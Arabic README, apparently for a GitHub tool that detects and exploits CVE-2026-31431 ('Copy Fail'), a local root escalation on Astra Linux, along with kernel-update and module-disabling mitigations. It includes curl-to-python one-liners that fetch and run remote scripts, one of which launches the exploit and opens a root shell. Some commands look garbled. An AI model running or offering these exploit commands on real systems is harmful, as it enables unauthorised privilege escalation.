
يكتشف ويستغل ثغرة CVE-2026-31431 (Copy Fail) لتصعيد الامتيازات المحلية على نظام Astra Linux، مع توافق مع Python 3.7+ ونشر بسطر واحد.
فحص آمن دون استغلال الثغرة:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
الاستغلال (عند الطلب يجب إدخال كلمة مرور المستخدم)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
هذا فرع مُكيَّف لـ Python 3.7, 3.8, 3.9, 3.10, 3.11.
الاستغلالات الأصلية تتطلب Python 3.12+ بسبب استخدام os.splice().
# ❌ الاستغلال الأصلي (يتطلب Python 3.12+ فقط)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()###الاستغلال على Astra Linux
تم التحقق من الثغرة على Astra Linux. وحدة algif_aead موجودة، والاستغلال يسمح بالوصول إلى sudo ورفع الامتيازات إلى root.
ومع ذلك، عند تفعيل التحكم الإلزامي في الوصول (МКД/Parsec)، لا يمكن أن يصبح المرء مسؤولاً فائقاً (المستوى 63 / دور astra-admin): التسميات الإلزامية تقيّد امتيازات حتى عملية root، وسياسة الأمان لا تسمح بتجاوز مستويات السرية المحددة.
وبالتالي: 🔴 أنظمة Astra Linux بدون МКД أو مع تعطيل МКД — معرضة للثغرة بالكامل. 🟡 الأنظمة مع تفعيل МКД — محمية جزئياً: الحصول على root ممكن، لكن القدرات الفعلية للمهاجم محدودة بالسياسة الإلزامية.
في كلتا الحالتين، عند اكتشاف الثغرة، تطبيق الإجراءات من البندين 2 أو 3 إلزامي.
━━━━━━━━━━━━━━━
على كل خادم يجب تنفيذ الأمر التالي. لا يُدخل أي تغييرات على النظام ويقوم فقط بالتحقق مما إذا كانت الوحدة المعرضة للثغرة متاحة.
الاتصال بالخادم وتنفيذ الأمر في سطر واحد:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'
🔴 إذا ظهرت كلمة УЯЗВИМА على الشاشة — الخادم معرض للثغرة، يجب الانتقال إلى البند 2. 🟢 إذا ظهرت رسالة خطأ من Python — الخادم غير معرض للثغرة، لا حاجة لإجراءات إضافية.
━━━━━━━━━━━━━━━ 2. الحل الأساسي — تحديث النواة
يجب تحديث النواة إلى إصدار يحتوي على الإصلاح: 6.18.22, 6.19.12 أو أحدث. حتى موعد التحديث، يوفر تعطيل الوحدة من البند 3 الحماية.
لـ Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
بعد إعادة التشغيل، يجب التحقق من أن النواة الجديدة هي التي تم تحميلها فعلاً:
uname -r
إذا أظهر الأمر إصداراً أقل من 6.18.22 — فالنواة لم يتم تحديثها أو أن النظام تم تشغيله من صورة قديمة. في هذه الحالة يجب التأكد من تثبيت التحديث (apt-get dist-upgrade لم يُصدر أخطاء) وإعادة التشغيل مرة أخرى.
⚠️ Astra Linux 1.7.x: حتى صدور التحديث، الإجراء الوحيد للحماية هو تعطيل الوحدة من البند 3. للحصول على التصحيح، يُنصح بالتواصل مع الدعم الفني لـ Astra Linux عبر الحساب الشخصي.
━━━━━━━━━━━━━━━ 3. إجراء حماية مؤقت — تعطيل الوحدة المعرضة للثغرة
إذا كان تحديث النواة غير ممكن حالياً، يُنصح كإجراء مؤقت بتعطيل الوحدة المعرضة للثغرة. لا تتطلب العملية إعادة تشغيل وتدخل حيز التنفيذ فوراً. قبل التطبيق، يُنصح باختبار التغييرات في بيئة اختبارية: في حالات نادرة، قد تستخدم بعض الخدمات هذه الوحدة مباشرة.
أمر تعطيل الوحدة. تنفيذ بصلاحية root (أو عبر sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
الأمر الأول يمنع تحميل الوحدة عند عمليات التشغيل التالية. الثاني يفرّغها الآن مباشرة إذا كانت محملة. الخطأ في الأمر الثاني أمر طبيعي، ويعني أن الوحدة لم تكن نشطة بالفعل.